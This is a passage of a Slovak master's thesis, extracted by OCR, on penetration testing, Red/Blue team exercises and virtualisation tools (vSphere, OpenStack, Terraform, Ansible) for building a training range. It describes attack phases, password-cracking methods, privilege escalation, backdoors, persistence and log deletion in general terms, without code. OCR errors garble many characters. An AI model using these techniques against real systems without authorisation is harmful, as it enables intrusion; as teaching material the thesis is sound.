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ABSTRAKT

PredloZena diplomova praca sa zaobera penetracnym testovanim a etickym hackovanim.
Podla zadania bolo vytvorené vhodné prostredie pre prevedenie cvi¢enia Red/Blue tim,
kde Red tim sa ocitd v roli Gto¢nika a Blue tym v roli obrancu sietovej infrastruktdry.
Cela infrastruktira je pripravena v cloudovom virtualizovanom prostredi VMware vSp-
here. Druht Cast praktickej Casti prace tvori priprava a vytvorenie cvienia na testovanie
bezpecCnosti webovych aplikacii. Tretia Cast sa venuje automatizacii ¢erveného timu pre
bezpecnostné cvicenie. Hlavnym ciefom tejto diplomovej prace je ukazka réznych typov
utokov na sietovu infrastruktiru a webové aplikacie, a pouzitie obrannych mechanizmov
k zamedzeniu tychto Gtokov.

KLUCOVE SLOVA
Penetracné testovanie, eticky hacking, pivoting, Windows, Linux, DMZ, shell, zranitel-
nost, cybersecurity

ABSTRACT

This master thesis deals with penetration testing and ethical hacking. Regarding to
the layout of the thesis there was prepared appropiate enviroment to realize Red/Blue
team exercise, where Red team is in a role of the attacker and Blue team is in a role of
defender of the network infrastructure. Whole infrastructure is implemented in a cloud
virtual enviroment of VMware vSphere. Second part of the thesis consists of preparation
and creation of the exercise to test web application security. Third part of the thesis is
dedicating to the automatization of redteaming. Main focus of this master thesis is to
demonstrate different attack vectors how to attack the network infrastructure and web
applications and use of the defense mechanisms to avoid this kinds of attacks.

KEYWORDS

Penetration testing, ethical hacking, pivoting, Windows, Linux, DMZ, shell, vulnerability,
cybersecurity
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Uvod

V dnesnej dobe pocitacov, kedy je kyberpriestor rozsireny vSade okolo nés, na nas ¢i-
haju rézne nebezpecenstva v tomto prostredi. Velké mnozstvo protokolov, systémov,
alebo aplikacii bolo vytvorenych v minulosti, kedy bezpecnost vo svete pocitacov
bola neznamy pojem a hlavnym cielom ich tvorcov bola funkcionalita.

Podla viacerych zdrojov a udalosti v minulosti je mozné povedat, ze akademicky
zaujem o kyberbezpecnost sa zacal rozvijat v 70. rokoch 20. storocia. Kryptografia,
pocitacova bezpecnost, sietova bezpecnost, vSetky tieto odvetvia kyberbezpecnosti
sa rozvijali ruka v ruke, pricom v tych ¢asoch bolo ich hlavné uplatnenie predovset-
kym vo vojenskej a Statnej sfére. Ako si Iudia pomaly zacali uvedomovat, Ze bez-
pecnost je dolezitou sucastou kyberpriestoru, zacala sa rozsirovat dalej medzi vécsie
organizacie ako napriklad banky alebo spravcov infrastruktiry informac¢nych tech-
nolégii (IT). Medzi beznych uzivatelov sa kyberbezpecnost dostala az v 90. rokoch,
kedy sa zacali objavovat prvé hrozby phishingu, odcudzenia identity, atd.

V stcasnosti sa uz na kyberbezpecnost berie celkom iny ohlad ako tomu bolo
v minulosti. Pri navrhu a implementacii protokolov, systémov, alebo aplikacii sa
voli kompromis medzi funkcionalitou a bezpec¢nostou. Vznikli rézne normy k spréave
bezpecnosti ako napriklad ISO/IEC 27000, alebo metodiky podla ktorych sa hod-
noti bezpeénost, vid Open Web Application Security Project (OWASP), ktord sluzi
k testovaniu bezpe¢nosti webovych aplikicii. Dalej st rozvijané metédy pre tréno-
vanie IT Specialistov za ucelom rozvijat znalosti tykajtice sa bezpecnosti. Jednym
70 sposobov takéhoto rozvoja su bezpecnostné hry. Cielom tejto diplomovej prace
bude navrhnit a implementovat prostredie pre prevedenie bezpecnostného cvic¢enia
k zvyseniu povedomia o kyberbezpecnosti a poukazat na casté chyby v konfiguracii
systémov. Teoreticka cast prace bude blizie popisovat penetracné testovanie, jeho
metédy a fazy. Dalej bude tato ¢ast zamerand na analyzu dostupnych néstrojov na
virtualizaciu a automatizaciu nasadenia virtualnych strojov. Praktickd cast bude
popisovat vytvorenie bezpec¢nostnej hry a naslednii implementaciu na vybrani vir-
tualiza¢na platformu. Bude obsahovat blizsi popis nasadenych virtualnych strojov,
ich funkciu a zapojenie do sietovej infrastruktiry. Dalej bude popisovat takzvant
cestu utoku (zranitelnosti a ich mitigaciu), podla ktorej bude vytvorené cvicenie pre
studentov obsiahnuté v prilohe tejto prace. Druha cast praktickej prace bude zame-
rana na vytvorenie cvicenia pre testovanie bezpecnosti webovych aplikécii a bude sa
skladaz sa z troch pokrocilejsich itoénych technik na webové aplikacie. Tretia cast
sa bude venovat automatizacii ¢erveného timu pre bezpecnostné cvicenie. Hlavny
prinos tejto diplomovej prace bude vlastny navrh a implementédcia bezpecnostnej
hry, ktora bude sicastou laboratérneho cvicenia pre predmet ICT3 v magisterskom

programe odboru Informacna bezpecnost.



1 Bezpecnostné testovanie

Bezpecnost je definovana ako stav, kedy straty aktiv neprekracuji stanovenii mieru.
Bezpecnostné testovanie je definované ako testovanie, ktoré urcuje, ¢i su systémy,
alebo aplikdcie oprostené od zranitelnosti, ktoré by mohli viest k strate aktiv. Akti-
vum je cokolvek, ¢o je majitelom povazované za cenné napr. data, softvér, hardvér,
atd. Zranitelnost v systéme, alebo aplikacii znamend, zZe zabezpecCenie nezaistuje
ochranu niektorych aktiv, alebo ochrana tychto aktiv nie je dostato¢na. Hlavnym
ciefom bezpecnostného testovania je identifikiacia hrozieb v systéme a ohodnote-
nie potencionalnych zranitelnosti, ktoré by mohli viest k zastaveniu systému, alebo
jeho exploitacii. Exploitacia je vyuzitie zranitelnosti k prieniku do systému. Bez-
pecnostné testovanie taktiez napomaha k odhaleniu moznych bezpecnostnych rizik
v systémoch.

Podla metodiky Open Source Security Testing Methodology Manual (OSSTMM)

sa bezpecnostné testovanie dell na nasledujice kategérie [1][2]:

« skenovanie zranitelnosti,
e bezpecnostné skenovanie,
e penetracné testovanie,

e analyza rizik,

e bezpecnostny audit,

o etické hackovanie.

Téato diplomova praca sa zaoberd penetracnym testovanim, ktoré je detailnejsie
popisané v nasledujuicich kapitolach. Ako je mozné vidiet v rozdeleni podla metodiky
OSSTMM, nachadza sa tam aj kategoria zvana etické hackovanie. Pre upresnenie,
etické hackovanie by sa dalo povazovat za mnozinu, do ktorej vSetky ostatné vyme-
nované kategorie spadaju.

EC-Council, jedna z najznamejsich certifika¢nych autorit v oblasti kyberbezpec-
nosti, popisuje etické hackovanie ako ucenie sa vsetkych technickych aspektov ria-
denia vozidla a penetracné testovanie je spojenie vsetkych nadobudnutych znalosti
k riadeniu vozidla!. Pre aspirantov, ktorf majti zadujem o potvrdenie svojich znalosti

existuje mnozstvo kurzov a celosvetovo uznavanych certifikécii ako napriklad CEH,
GPEN, OSCP, atd.

'Dostupné z:

blog.eccouncil.org/what-is-penetration-testing-how-does-it-differ-from-ethical-hacking/
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2 Penetracné testovanie

Penetracné testovanie je proces identifikdcie zranitelnosti v aplikécii, alebo siefo-
vej infrastruktire pouzitim réznych ttocénych technik. Proces penetracného testova-
nia zahrna posudzovanie bezpecnosti zvolenych systémov na potencionalne slabiny,
ktoré mozu vzniknit po nedostatocnej alebo nespravnej konfiguracii systému, zna-

mej alebo neznamej hardvérovej alebo softvérovej slabiny [3][4].

Penetracné testovanie pontka pre objednavatela mnozstvo benefitov. Narusenie bez-
pecnosti a prerusenie sluzieb je nakladné a moéze viest k vyznamnym finanénym
stratam, ohrozeniu reputécie spolocnosti, strate dovery zakaznikov, alebo vysokym
pokutam. Je nemozné udrzat vsetky informacie a data v bezpeci po cely cas ich exis-
tencie. Vo vécsine sa spolocnosti usiluju o zabranenie prienikov nasadenim roéznych
obrannych mechanizmov zahrnujucich IDS, IPS, firewally, alebo kryptografiu. Av-
sak ani tieto obranné mechanizmy nezarucuju aplnia bezpecnost a nedokazu ochranit
spoloc¢nost proti réznym typom potencionalnych bezpecnostnych incidentov. Penet-

racné testovanie teda slizi k identifikacii bezpec¢nostnych rizik a urc¢eniu ich priorit

[5]16][7].

Existuju dva zakladné typy penetracnych testov, ktoré sa odvijaji od toho, aky druh

utocnika je simulovany:

o interné testovanie,

+ externé testovanie.

Interné testovanie

Pri internom testovani sa jedna o simulaciu itoc¢nika, ktory sa nachadza vo vnttornej
sieti spolo¢nosti. Pomenovanie pre takéhoto tito¢nika pochadza z anglictiny a je to
“insider”. Mo6ze sa jednat o nespokojného zamestnanca alebo tto¢nika, ktory ma
bud fyzicky alebo vzdialeny pristup do sietovej infrastruktiry spolo¢nosti. Simulacia
takéhoto ttoku méa potencionalne najvyssie icinky dopadu, pretoze utocnik moze
maf od pociatku znalost o dolezitych prvkoch v sieti, ¢o v pripade externého testu

moze utocnik ziskat az ¢asom.

Interné testy sluzia k otestovaniu monitoringu a schopnosti reakcie na incidenty vo
vnutornej sieti, uisteniu sa o spravnej funkcionalite nasadenych obrannych mecha-
nizmov, urceniu, ktoré systémy moze utocénik napadnitf v rdmci vnutornej siefovej
infrastruktary, atd. Pri navrhu zmluvy sa obe strany dohodnt, aké pristupy pre-
vadzkovatel testov dostane, pricom najcastejSie sa jedna o bezny uzivatelsky ucet

z ktorého sa nasledne pokusa eskalovat opravnenia a sirit sa dalej po sieti.
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Externé testovanie

Pri externych penetrac¢nych testoch sa testovanie zameriava na sluzby, ktoré su vy-
stavené do internetu. Moze sa jednat o webstranky samotnej spolocnosti, webové
aplikacie, email, DNS (Domain Name System) servery a rozne iné sluzby. Hlavnym
ciefom testovania je odhalenie ¢o najvacsieho mnozstva zranitelnosti, ktoré mozu
viest k prieniku a neopravnenému pristupu do internej siete a ziskania pristupu

k cennym datam spoloc¢nosti [8].

2.1 Metédy penetracného testovania

Existuju tri najznamejsie metédy penetracného testovania, ktoré v slovenskej ter-
minologii nemaji vlastné pomenovanie, preto sa v texte vyuziva anglické oznacenie

pre ¢itatela s odbornou literatirou [9]:

o white-box,
e grey-box,
« black-box.

White-box

Metoda white-box je definovand ako testovanie s iplnou znalostou testovaného sys-
tému. Testovanie najcastejsie byva zamerané na overenie vstupnych a vystupnych

parametrov systému.

Grey-box

Metdda grey-box je definovand ako testovanie s ¢iastocnou znalostou testovaného
systému. Tato metoda sa najcastejsie vyuziva pri testovani webovych aplikacii. Tes-
ter sa zameriava na otestovanie ako front-endovej funkcionality, tak aj vnutornych

procesov systému.

Black-box

Metdda black-box je definovana ako testovanie bez znalosti fungovania testovaného
systému. V black-box testovani sa testeri zameriavaju iba na vstupy a vystupy sys-
tému. Tato metdda testovania je z pomedzi spomenutych metdd najcastejsie vyuzi-
vana, pretoze predstavuje situaciu kedy sa ttocnik poktusa kompromitovat systém

o ktorom nemad znalost internej funkcionality.

12



2.2 Fazy penetracného testovania

Proces penetracného testovania sa sklada z niekolkych faz, ktoré na seba nasledne
nadvézuji vid obr. 2.1. Tychto faz je presne Sest a st to fazy nasledovné [10]:

e planovanie a prieskum,

« skenovanie,

e enumeracia,

o zisk pristupu,

e uchovanie pristupu,

o analyza a vypracovanie zaverecnej spravy.

Vsetky spomenuté fazy su podla u¢ebnych materidlov pre skusku Certified Ethi-
cal Hacker (CEH). V zavislosti od ucebnych materidlov, alebo réznych metodologii

sa mozu niektoré fazy mierne lisit.

Fazy penetracného testovania

Planovanie a prieskum

Skenovanie

Enumeracia

Zisk pristupu

Uchovanie pristupu

Analyza a vypracovanie zaverecnej spravy

Obr. 2.1: Fazy penetracného testovania
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2.2.1 Planovanie a prieskum

Prva faza penetracného testovania, ktora sa sklada z pasivneho a aktivneho ziska-
vania informécii o potencionalnom cieli vid obr. 2.2. Hlavnou tlohou je ziskat o cieli
tolko informaécii, kolko len je mozné. Finalnym vystupom tejto fazy by mal byt
hruby nacrt profilu ciela, ktory poslizi k planovaniu nasledujicej fazy skenovania.

Informécie, ktoré mézu byt ziskané pocas tejto fazy zahfnaji nasledujtce [10][11]:

o rozsahy IP adries,
o informacie o zamestnancoch,
o informacie o vybaveni,

¢ telefonne cisla.

VirtualBox virtual NIC)

e VirtualBox virtual NIC)

| in 1.9

Obr. 2.2: Zisk tzv. “Zzivych“ strojov v sieti!

2.2.2 Skenovanie

Skenovanie je proces, ktory zahina testovanie cielenej siete so zamerom ziskania
uzitocénych informacii a ich nasledného vyuzitia v pozdejsich fazach penetracného
testovania. Vyzbrojeny so znalostou zakladnych prvkov siete, skenerom, a vysled-
kami z dékladného zberu informadcii je mozné vytvorit si decentny obraz o cieli [10].

Pocas tejto fazy sa vyuzivaju nastroje ako:

* ping,
« skenovanie portov,

e tracert.

LObrézok dostupny z: www.tecmint . com/nmap-network-security-scanner-in-kali-1linux/
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2.2.3 Enumeracia

Enumerécia je proces extrahovania informécii z cieleného systému, k urceniu o aké
nastavenia a prostredie sa v danom systéme jedna. V mnohych pripadoch je mozné
extrahovat informacie ako uzivatelské mend, sluzby, a iné informacie v zavislosti od

samotného operac¢ného systému.

Oproti predchadzajicim fazam, v enumeracnej faze dochadza k aktivnemu pripa-
janiu sa k cielenym systémom v snahe ziskaf Siroku skalu informacii. V tejto faze

prichadza vyssia pravdepodobnost detekcie testovania.

Preco potom vlastne zac¢inat s aktivnym pripajanim sa k cielenému systému? Pre-
toze to je jedind cesta ako ziskat doplnujice informécie o systémoch, ktoré neboli
ziskané v predchadzajucich fazach. Vyuzitim tychto aktivnych pripojeni je mozné na
systém odosielat cielené ziadosti, ktoré extrahuju doplnujtce informécie. Po zisku
tychto informacii je vyssia pravdepodobnost presného urcenia silnych a slabych miest

cieleného systému. Informdacie ziskané pocas tejto fazy obsahuju [10][12]:

» sietové zdroje a zdielané zlozZky,
o uzivatelia a skupiny,

« smerovacie tabulky,

e mena strojov,

« aplikacie a banery,

e detaily o SNMP a DNS.

2.2.4 Zisk pristupu

Po dokonceni predchadzajucich faz prichadza na rad zisk pristupu k zvolenému sys-
tému. V tomto bode sa stava proces hackovania komplexnejsim a deli sa do viacerych
krokov. Pri tychto krokoch je dobré vyuzivat metodicky pristup, ktory zahina cracko-
vanie hesiel, eskalovanie privilégii, sptustanie aplikécii, skryvanie stiborov, zakryvanie

stop, mazanie dokazov, atd.

Crackovanie hesiel

V enumeracnej faze sa zozbiera velké mmnozstvo informécii vratane uzivatelkych
mien. Tieto uzivatelské mend su dblezité, pretoze poskytuji urciti znalost a itocnik
vie na ¢o sa blizsie zamerat. Crackovanie hesla sluzi k ziskaniu prihlasovacich tdajov
daného uzivatelského 1ctu so zamerom vyuzitia tohto uctu k zisku autorizovaného

pristupu k systému pod legitimnym uzivatelom.
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Existuje niekolko technik na prelamovanie hesla [10]:

« slovnikovy utok,

o utok hrubou silou,

e hybridny utok,

o ttok zalozeny na pravidlach,

o pasivny online 1tok,

o aktivny online utok,

« offline ttok,

o netechnicky tutok.
Slovnikovy tutok predstavuje utok za vyuzitia napriklad slovnika s najcastejsie
pouzivanymi heslami fudi. Oproti tomu Gtok hrubou silou sa zameriava na prela-
movanie hesla skiSanim vsetkych moznych kombinacii. Hybridny ttok je spojenim
prvych dvoch variant, kedy je cast hesla bezné slovo a zvysna cast hesla, napriklad
¢islo je ziskané hrubou silou. Dalsfm pripadom je titok zaloZeny na pravidléach,
kedy sa uzivatelia musia pri tvorbe hesla riadit pravidlami ako napr. velké prvé pis-
meno, atd. Pri znalosti tychto pravidiel sa ¢as titoku znacne skracuje. Pri pasivnom
online ttoku sa nejedna a priame skisanie hesiel ako je tomu pri aktivnom on-
line atoku. Moze sa jednat napriklad o zachytavanie sietového toku a sledovanie
nezasifrovanych dat. Offline tok je zalozeny na prelamovani hesla mimo systému
na ktorom prebieha autentizacia tzivatela, aby nedoslo napr. zablokovaniu tctu. Pri

netechnickom dtoku sa jednd o socialne inzinierstvo.

Eskalacia privilégii
Po ziskani hesla a pristupu k uc¢tu je v procese zisku pristupu potrebné eskalovat
privilégia. Jedna sa o najdodlezitejsiu fazu zisku pristupu, pretoze sa od nej odvijaju
nasledujice fazy. Hlavnym cielom je zisk Gétu, ktory ma menej restrikcii a mé vyssie
opravnenia k systému.

Su definované dva pristupy eskalacie privilégii, kde kazdy pristupuje k problému

ziskania vyssich privilégii z iného uhlu pohladu:

Horizontalna eskalacia privilégii Utocnik sa pokusa ziskat prava a pri-

vilégia iného uzivatela, ktory ma rovnaké privilégia ako sicasny tcet.

Vertikélna eskalacia privilégii Utoc¢nik ziska pristup k 4¢tu a potom sa
pokiisa povysit privilégia daného tuc¢tu. Druhou variantou je kompromitacia

uctu a nasledny pokus o zisk pristupu k vyssie privilegovanému actu [10].
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Spustanie aplikacii
So ziskom pristupu k systému a dostatoénymi opravneniami prichadza ¢as kompro-
mitacie systému a vykonanie itoku. Ktoré aplikacie si spustené je ¢isto na ttoc¢ni-
kovi. Mo6ze sa jednat o vlastne vytvorené aplikacie, alebo iny softvér.

Utoc¢nik moze spustat rozne aplikacie na systéme podla specifickych cielov, ktoré

chece dosiahnut:

» Backdoor Aplikacia, ktora je vytvorena ku kompromitacii systému tak,
ze neskor utocnikovi povoli pristup k danému systému.

o Cracker Softvér, ktory je charakterizovany schopnostou prelomit kod,
alebo ziskat heslo.

» Keylogger Hardvérové, alebo softvérové zariadenie vyuzivané k zisku
informacii zadanych cez klavesnicu.

o Malware Moze sa jednat o akykolvek softvér vytvoreny k zachytavaniu

informédcii, zmene, alebo kompromitacii systému [10].

2.2.5 Uchovanie pristupu

Po kompromitovani systému prichddza na rad velmi délezita cast, ktorou je ucho-
vanie pristupu?. Ak utoénik ziska pristup k systému, jedna z prvych veci o ktoré
sa snazi je vytvorit si tzv. perzistenciu. V podstate to znamend, zZe ttocnik bude
schopny pristupovat ku kompromitovanému systému aj po jeho restarte. K tomuto

ucelu sluzi vyssie spomenuty softvér ako backdoor, alebo malware.

2.2.6 Vypracovanie zaverecnej spravy

Poslednym krokom penetracného testovania je vypracovanie zaverecnej spravy, ktoré
zabera priblizne az jednu Stvrtinu planovaného ¢asu na penetracné testovanie. Za-
verecna sprava je dokument, ktory sa zanechdva testovanej organizacii a moze sa
vyuzivat este niekolko rokov ako jediny dokaz, ¢o vlastne bolo vykonané a preto je
dobré zamerat sa na kvalitu spravy. Existuju pripady, kedy je ako zaverecna sprava
z penetracného testovania odovzadny Cisty vystup zo skenu zranitelnosti. Takyto
vystup sa nedd povazovat za zaverecnu spravu penetracného testovania. Podla roz-
nych doporuceni by sa tieto vystupy z bezpecnostnych skenerov mali prechadzat
a manualne otestovat, aby doslo k ¢o najmensiemu mnozstvu falosne pozitivnych

nalezov.

2V reélnej situdcii, keby bol systém napadnuty skuto¢nym ttoénikom, by bol tento krok dopl-
neny zakryvanim stop o prieniku do systému ako napriklad mazanim logov, atd.
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Pisanie spravy pocas testovania moze byt nesmierne uzitocné. Dolezitou sticastou
je pisanie si poznamok, ktoré nasleduji metodolégiu a zachytavanie screenshotov.
Tieto spomenuté veci dokazu usetrit vela casu pri pisani zaverecnej spravy.

ZavereCna sprava by mala obsahovat nasledujtice casti:

Manazérske zhrnutie.
Uvod.

Pouzita metodolégia.
Nalezy.

Zhrnutie.

A S

2.3 Distribucie penetracného testovania

Penetracné testovanie je mozné vykonavat na kazdom operacnom systéme, avsak
existuju distribicie, ktoré st zamerané priamo na to. Najznamesim opera¢nym sys-
témom pre testovanie bezpecnosti je linuxova distribicia zvand Kali linux, ktorda ma
najvaciu bazu uzivatelov.

Kali linux vznikol vyvojom z niekdajsiecho BackTrack linuxu, volne dostupného
operac¢ného systému pre testovanie bezpecnosti. V dobe predstavenia disponoval Kali
linux viac ako 300 nastrojmi pre penetracné testovanie a testovanie bezpecnosti.

Operacny systém sa zaklada na vyvojovych standardoch Debianu, ktory je znamy
mnohym IT administratorom. Uzivatelia si mozu Iahko prisposobit operacny systém
k svojim poziadavkam a preferenciam.

Vsetky programy obsiahnute v operacnom systéme boli predom ohodnotené, ¢i st
vhodné a efektivne pre pouzitie v praxi. Systém disponuje napriklad najznamejsimi
nastrojmi ako Metasploit, komplexny a modularny nastroj pre penetracné testovanie,
Nmap pre skenovanie portov a zranitelnosti, Wireshark pre monitoring siefového

toku, alebo aircrack-ng pre testovanie bezpecnosti bezdrotovych sieti [13][14].
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3 Platformy pre bezpecnostné hry

Pre vytvorenie kybernetického cvicenia je potrebné zvolit si vhodnua platformu pre
virtualne prostredie. Cyber range je pomenovanie pre platformu sliziacu k simulacii
roznych scendrov. Vyznam slova range v oznaceni cyber range je vojenské pomenova-
nie pre cvicisko, kam sa posielaji jednotky, aby zdokonalili svoje bojové schopnosti
v realisticky naplanovanych situaciach. Cyber range tak podobne poskytuje realis-
ticki platformu pre trénovanie I'T personalu voci réznym realnym hrozbam. Tento
tréning sa zameriava na vyhodnocovanie roznych situacii a nasledna aplikaciu sprav-
nych postupov v situaciach redlneho tutoku [15].

Cyber range umoznuje tréning s realnymi, fyzickymi a virtudlnymi sluzbami, a

sietovanim ako napriklad [16]:

IT sluzby:

o Virtualne stroje.

o Microsoft servery a aplikacie.

e Linux a UNIX servery.

o Databazové aplikacie.
IP siete:

e Smerovace a prepinace.

» Bezpecnostné zariadenia (firewall, IDS, IPS).
Kriticka infrastrukttara:

o Simulécia systémov letisk, nemocnic,...

« SCADA.

3.1 Red/Blue team cvicenia

K zvyseniu povedomia o kybernetickych hrozbéach vznikli takzvané Red/Blue team
cviCenia, ktoré simuluju redlny utok na siefovi infrastruktiru [17]. Najvacsim a naj-
znamejsim celosvetovym cvicenim je Locked Shields, organizované spojenectvom slo-
bodnych statov NATO (North Atlantic Treaty Organization). Toto cvicenie funguje
uz od roku 2010 a momentalne simuluje infrastruktiru priblizne 4000 virtualizova-
nych systémov a viac ako 2500 titokov na tieto systémy [18]. Ceska republika ma
taktiez svoje vlastné kybernetické cvic¢enie zvané CyberCzech, ktoré funguje od roku
2015. Cvicenie je organizované Narodnym uradom pre kybernetickd a informacnu

bezpecnost v spolupraci s Masarykovou univerzitou.

19



Red team

Cerveny tim, tzv. Red team je skupina Iudi, ktorych hlavnym cielom je kompromito-
vat infrastruktiru modrého timu a splnenie réznych iloh v danom case. V zavislosti
od typu cvic¢enia sa mozu ulohy cerveného timu lisif. Pokial sa jedna o cvicenie ur-
¢ené pre Cerveny tim, tak hlavnym cielom je kompromitacia urcitého prvku sietovej
lej moze existovat cviéenie zamerané na pripravu modrého timu, kedy cerveny tim
postupuje podla predom urcenej c¢asovej linie. To znamend, 7ze v urc¢itom ¢asovom

useku ¢erveny tim utoci iba na predom definované stroje a sluzby.

Blue team

Modry tim, tzv. Blue team je skupina ludi, vac¢sinou venujucich sa IT bezpec-
nosti, ktori sa snazia zabranit kybernetickému itoku vykonavaného cervenym ti-
mom. Hlavnym faktorom je rychla odozva modrého timu a jeho reakcia na vzniknuté
incidenty v realnom case. Okrem ochrany siefovej infrastruktiry ma modry tim este
jednu velmi podstatni tlohu. Pokial déjde ku kompromitacii nejakého chraneného
systému, je velmi dolezité celd situaciu zdokumentovat a v ramci simulacie zaslat

na biely tim.

Green team

Doteraz boli popisané dva najviditelnejsie timy, ¢erveny a modry. V roli cvicenia
vsak hra obrovski tlohu zeleny tim, tzv. Green team, ktory pripravuje a spravuje

celt simulovant sietovt infrastruktiru, skérovanie a monitorovanie.

White team

Biely tim je neutralny a v ramci cvicenia plni rolu vladnych orgdnov, novinarov a
celkovo posudzuje priebeh cvicenia. Jeho tilohou je taktiez zapisovat body, ktoré boli

udelené od ¢erveného a zeleného timu pre tim modry.

3.2 Virtualizacia prostredia

K realizacii kybernetického cvi¢enia neodmyslitelne patri virtualizacia. Ako je spo-
minané vyssie, cvicenie Locked Shields sa skladé z priblizne 4000 systémov. Bolo
by financne naroc¢né a neefektivne zriadovat 4000 fyzickych pocitacov a preto je

najefektivnejsim rieSenim virtualizacia. Virtualizacia by sa dala opisat ako ndhrada
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fyzického hardvéru softvérom, ktory ho dokaze emulovat, ¢o znamena, ze jeden fy-
zicky stroj dokaze emulovat niekolko systémov.
Na trhu existuje mnozstvo virtualiza¢nych nastrojov ako napriklad:

e VMware vSphere,

« OpenStack,

e OpenNebula.

3.2.1 VMware vSphere

Néastroj vSphere pochadza od spolocnosti VMware, ktora patri medzi najznamejsie
v ramci virtualizacie. Produkt vSphere je zamerany na virtualizaciu serverov a za-
hina ESXi hypervizor a vCenter softvér na spravu. ESXi je hypervizor zodpovedny
za abstrahovanie procesorov, paméati, tloziska a dalSich zdrojov pre rézne virtudlne
stroje. Vsetky virtualne stroje sa instaluju na ESXi server. VirtualCenter sluzi ako
centralny kontrolny bod, odkial je mozné spravovat a pristupovat ku vSetkym vir-
tualizovanym strojom vid obr. 3.1. Klient je webovy portal zalozeny na HTMLS5.
Najvicsou vyhodou vSphere je jeho stabilita a spolahlivost [19][20]. Co je vsak ne-

gativom, je vysoka cena licencii.

wiantar Sarvar
nabnétalovany
Windows

Servery

| ESXi Semver

[ vSphere balik produktov

vSphere Klient

Obr. 3.1: Deskriptivny diagram produktu vSphere

3.2.2 OpenStack

OpenStack je bezplatné cloudové riesenie, ktoré sluzi ku sprave virtualnych strojov
v datovom centre pricom je vsetko spravované cez API. OpenStack disponuje ovla-
dacim panelom, ktory uzivatelom umoznuje spravovat systémy pomocou webového
rozhrania [21]. Kedze je OpenStack ako open source software, je mozné donho pri-
davat rozne doplnky podla poziadavok. OpenStack sa sklada z deviatich klicovych
komponentov [24][22][23]:

e Nova,
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o Swift,

o Cinder,

e Neutron,

e Horizon,
 Keystone,
« Glance,

o Ceilometer,
o Heat.

Pre lepsiu predstavu zakladnej architektury produktu OpenStack vid obr. 3.2.
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Obr. 3.2: Deskriptivny diagram produktu OpenStack!
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3.2.3 OpenNebula

OpenNebula je jednoduchy a flexibilny nastroj pre manazment virtualizovanych data

centier. Posyktuje moznost vytvorit privatny, verejny, a hybridny cloud. Jedna sa

o open source middleware riesenie. Nastroj je navrnuty pre jednoduché pouzitie, ale

zato s velkym mnozstvom funkcii, a hlavne je prispésobitelny k vytvoreniu a sprave

podnikovych cloudov. OpenNebula kombinuje existujice virtualiza¢né techniky s po-

kroc¢ilou funkcionalitou pre zdielanie, automatizované nasadzovanie infrastruktury,

a elasticitu. Linuxové distribicie ako Ubuntu, alebo Red Hat Enterprise Linux maju

OpenNebulu integrovant priamo v sebe.

LObrézok dostupny z: https://www.openstack.org/software/
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OpenNebula sa sklada z hlavného uzlu (master node), ktory zodpoveda za za-
radenie, naplanovanie a odoslanie tlohy do clustera. Druhym stavebnym prvkom
je pracovny uzol (worker node), ktory poskytuje vypocétovy vykon pre spracovanie
odoslanych tloh do clustera [25][23].

Zhodnotenie

Ako je spomenuté vyssie, do uzsieho vyberu virtualizacnych nastrojov boli zvolené

vyssie popisané nastroje. Pre lepsi prehlad a zhodnotenie nastrojov vid tabulku 3.1.

Tab. 3.1: Porovnanie virtualizacnych néastrojov

Produkt Open source Nasadenie Sprava
VMware vSphere nie jednoduché jednoducha
OpenStack ano stredne narocné | stredne narocna
OpenNebula ano stredne naroc¢né narocna

7 popisanych virtualizacnych nastrojov pripadd VMware ako najstabilnejsia a
najjednoduchsia varianta. VUT disponuje serverom, kde je momentalne nainstalo-
vany VMware vSphere, ¢o znacne ulahé¢i prvotny krok nasadenia nového virtualizac-

ného prostredia a jeho celkovej konfiguracie.

3.3 Automatizacia a budovanie infrastruktuary

Vytvorenie a sprava virtualnej infrastruktiry, ktora by obsahovala mnozstvo strojov
je ¢asovo narocné. Preto boli vytvorené automatizazné nastroje na ulahcenie prace
a uSetrenie casu, ktory moze byt investovany do inej prace.

Vagrant je néstroj pre vybudovanie a spravovanie prostredia s virtualnymi
strojmi. Poskytuje lahko konfigurovatelné, reprodukovatelné, a prenosné pracovné
prostredie riadené jednym konzistentnym pracovnym tokom, ktory pomaha maxi-
malizovat produktivitu a flexibilitu prace. Vagrant pracuje s virtudlnymi strojmi
vytvorenymi vo VirtualBoxe, VMware, AWS, alebo od inych poskytovatelov vid
obr. 3.3[26][27]. Pokial chce uzivatel vyuzivat Vagrant v kombinécii s nastrojom

VMware, je potrebné si pre Vagrant zakupit licenciu.

LObrézok dostupny z: https://www.slashroot.in/what-vagrant-and-how-does-it-work
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Obr. 3.3: Pracovna schéma produktu Vagrant

Terraform je nastroj na budovanie, menenie, a verzovanie infrastruktiry bez-
pecne a efektivne. Konfiguracné subory popisuji Terraformu komponenty, potrebné
pre spustenie jednej aplikacie, alebo celého datacentra. Terraform generuje plan
spustenia popisujici, ¢o je potrebné vykonat k dosiahnutiu predvoleného stavu a
nasledne ho spusti, aby vybudoval popisant infrastruktiru. Pokial sa konfiguracia
zmeni, Terraform je schopny zaznamenat tieto zmeny a vytvorit inkrementélny plan
spustenia ktory moéze byt aplikovany. Insfrastruktira Terraformu dokaze spravovat
ako komponenty nizsej vrstvy, tlozisko a sietovanie, tak aj komponenty vyssej vrsty
ako DNS zaznamy, SaaS (Software as a Service), atd [28].

Infrastruktira je popisana pouzitim vysokotroviovej konfiguracnej syntaxe. Toto
umoznuje navrhu datacentra byt verzované a infrastruktira moze byt navyse zdie-
[ana a znova pouzita.

Terraform disponuje tzv. “planovacim* krokom, v ktorom generuje plan spuste-
nia. Plan spustenia ukazuje ¢o Terraform vykona, ked sa plan spusti. Vdaka tomuto
je mozné vyhnit sa neocakavanym vystupom, ked Terraform manipuluje s infra-
struktirou [29][30].

Ansible je nastroj vyuzivany na automatizaciu poskytovania cloudov, spravova-
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nie konfiguracie, nasadzovanie aplikacii a mnoho dalsich poziadaviek. Je navrhnuty
pre viacvrstvové nasadenie uz od zaciatku, ¢o znamend ze dokaze modelovat IT
infrastruktiru popisom toho, ako st vsSetky nasadené systémy prepojené, miesto
spravovania len jedného systému zaraz[31][32].

Ansible nevyuziva ziadnych agentov, ani pridavni bezpec¢nostnu infrastruktiru.
Je jednoduché ho nasadit a jeho najvéic¢sou vyhodou je, ze vyuziva jednoduchy jazyk
YAML, ktory umoznuje vytvorit popis automatizacie tiloh spésobom, ktory pripo-

mina beznu angli¢tinu [33].
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4 Bezpecnostna hra

Hlavnym cielom diplomovej prace bolo vytvorit virtualizovand infrastruktiru, ktora
bude slizit ako cvicisko pre eticky hacking. Z porovnavanych virtualizacnych plat-
